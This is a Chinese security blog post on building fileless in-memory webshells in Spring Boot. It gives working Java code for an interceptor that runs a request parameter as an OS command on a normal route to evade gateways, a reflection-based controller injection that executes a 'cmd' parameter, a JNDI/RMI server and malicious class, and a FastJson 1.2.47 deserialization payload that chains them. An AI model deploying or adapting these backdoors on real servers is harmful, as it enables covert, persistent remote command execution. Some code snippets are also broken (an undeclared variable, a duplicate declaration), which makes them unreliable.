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[原创]深入浅出内存马
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发表于: 2021-9-13 10:18
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0x01 前言
在上一篇文章中深入浅出内存马（一），我介绍了基于Tomcat的Filter内存马，不光是Filter、 listener、servlet、controller 等不同形式的内存马。但如今企业开发过程中，大部分使用的都是spring系列的框架进行开发，特别是SpringBoot，现在基本是企业开发的标配。所以探讨Spring系列下的内存马就显得非常必要了。
今天我们就来研究研究Spring Boot下的内存马实现。
0x02 需求
随着微服务部署技术的迭代演进，大型业务系统在到达真正的应用服务器的时候，会经过一些系列的网关，复杂均衡，防火墙。所以如果你新建的shell路由不在这些网关的白名单中，那么就很有可能无法访问到，在到达应用服务器之前就会被丢弃，我们该如何解决这个问题？
所以，在注入内存马的时候，就尽量不要用新建的路由，或者shell地址。最好是在访问正常的业务地址之前，就能执行我们的代码。
根据这个文章里面的说法基于内存 Webshell 的无文件攻击技术研究
在经过一番文档查阅和源码阅读后，发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个：
在不使用注解和修改配置文件的情况下，使用纯 java 代码来获得当前代码运行时的上下文环境；
在不使用注解和修改配置文件的情况下，使用纯 java 代码在上下文环境中手动注册一个 controller；
controller 中写入 Webshell 逻辑，达到和 Webshell 的 URL 进行交互回显的效果；
0x03 SpringBoot的生命周期
为了满足上面的需求，我们需要了解SpringBoot的生命周期，我们需要研究的是：一个请求到到应用层之前，需要经过那几个部分？是如何一步一步到到我们的Controller的?
我们用IDEA来搭建一个SpingBoot2 的环境
访问地址：
我们还是把断点打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中
可以看到整个执行流程
这部分在上一篇文章中已经详细描述过，这里不在赘述。
但是这里不同的是在经过 Filter 层面处理后，就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中。
跟进去这个方法
可以看到是遍历this.handlerMappings 这个迭代器中的mapper的getHandler 方法处理Http中的request请求。
继续追踪，最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法，并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例。
继续跟进getHandlerExecutionChain 方法，
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
Iterator var4 = this.adaptedInterceptors.iterator();
while(var4.hasNext()) {
HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
//返回的是HandlerExecutonChain，这里包含了所有的拦截器
return chain;
}
好了，现在我们知道程序在哪里加入的拦截器(interceptor)后，追踪到这行代码
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
跟进之后发现interceptor.preHandle(request, response, this.handler) 会遍历拦截器，并执行其preHandle方法。
如果程序提前在调用的 Controller 上设置了 Aspect（切面），那么在正式调用 Controller 前实际上会先调用切面的代码，一定程度上也起到了 "拦截" 的效果。
那么总结一下，一个 request 发送到 spring 应用，大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层：
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
0x04 拦截器Interceptor 的理论探索
用 Interceptor 来拦截所有进入 Controller 的 http 请求理论上是可行的，接下来就是实现从代码层面动态注入一个 Interceptor 来达到 webshell 的效果。
可以通过继承 HandlerInterceptorAdapter 类或者HandlerInterceptor 类并重写其 preHandle 方法实现拦截。preHandle是请求执行前执行，preHandle 方法中写一些拦截的处理，比如下面，当请求参数中带 id 时进行拦截，并写入字符串 InterceptorTest OK! 到 response。
0x0401 模拟真实业务
真实业务，这里模拟一个登录场景，登录成功返回login success。
package com.evalshell.springboot.web;
import com.evalshell.springboot.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
@Controller
@RequestMapping(value = "/user")
public class UserCrotroller {
@RequestMapping(value = "/login")
public @ResponseBody Object login(HttpServletRequest request){
//简单模拟登录成功
//实体类User 我就不赘述了，就是有2个属性。并实现getter和setter 构造器方法
User user = new User();
user.setAge(18);
user.setName("jack");
request.getSession().setAttribute("user", user);
return "login success";
}
}
0x0402 编写自定义的Interceptor
package com.evalshell.springboot.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class VulInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
System.out.println(code);
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String result = r.readLine();
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
0x0403 注册拦截器
实现拦截器后还需要将拦截器注册到spring容器中，可以通过implements WebMvcConfigurer，覆盖其addInterceptors(InterceptorRegistry registry)方法
package com.evalshell.springboot.config;
import com.evalshell.springboot.interceptor.VulInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//这里是配置需要拦截的路由
String[] VulPathPatterns = {"/user/login"};
registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
}
}
视频1
可以看到达到的效果是访问正常路由，不会影响正常业务。如果是带有code的参数会执行code里面的代码，从而突破网关的限制。
那么我们现在已经明白了如何在springboot中进行拦截，并执行我们的内存马，但是还是有一个问题，如何注入我们的内存马？
在这里根据landgrey大佬的思路：
spring boot 初始化过程中会往
org.springframework.context.support.LiveBeansView类的applicationContexts属性中添加org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext类的对象。 bean 实例名字是requestMappingHandlerMapping或者比较老版本的DefaultAnnotationHandlerMapping。那么获取adaptedInterceptors属性值就比较简单了：org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
我总结下就是：
首先获取应用的上下文环境，也就是
ApplicationContext然后从
ApplicationContext中获取AbstractHandlerMapping实例（用于反射）反射获取
AbstractHandlerMapping类的adaptedInterceptors字段通过
adaptedInterceptors注册拦截器
0x05 实战
为了方便搭建环境，我们采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点，我们在pom.xml中配置好我们的依赖，
<dependencies>
<!-- 配置fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<!-- 配置springboot2 ，小编使用的是2.5.3的版本-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
手动创建一个FastJson的利用点，因为在JDK 6u211，7u201, 8u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false，我这里是用了JDK 1.8u102。
@Controller
public class VulController {
@RequestMapping(value = "/unserializer")
@ResponseBody
public String unserializer(@RequestParam String code){
JSON.parse(code);
return "unserializer";
}
}
创建RMI服务器
package com.evalshell.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("TouchFile",
"com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
创建恶意代码
package com.evalshell.server;
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
启动JNDIServer，端口启动在了1099
在TouchFile的编译后的类路径下，开启web服务，提供恶意类文件的http下载服务，这个端口必须和上面的JNDIServer中配置的一致。
我们使用FastJson的Payload进行攻击
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
"autoCommit":true
}
}
用postman请求，攻击成功的话，就会弹出计算器，表示可以执行任意命令。
好的，上述已经搭建起一个Fastjson的漏洞环境。
使用上述方法编写拦截器内存马：
package com.evalshell.server;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Evil {
public Evil() throws Exception{
// 关于获取Context的方式有多种
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = Evil.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/good");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 构造注册信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象，避免无限循环使用另一个构造方法
Evil injectToController = new Evil("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
private Evil(String aaa) {
}
public void test() throws IOException {
// 获取请求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 获取请求的参数cmd并执行
// 类似于PHP的system($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
同时修改JNDIServer类中的代码
将Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替换成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");
最后演示一下，使用fastjson RCE进行攻击并动态写入我们的内存马
至此，我们已经完成SpringBoot下的无文件内存马的实现！
0x06 参考
https://www.anquanke.com/post/id/198886#h2-0
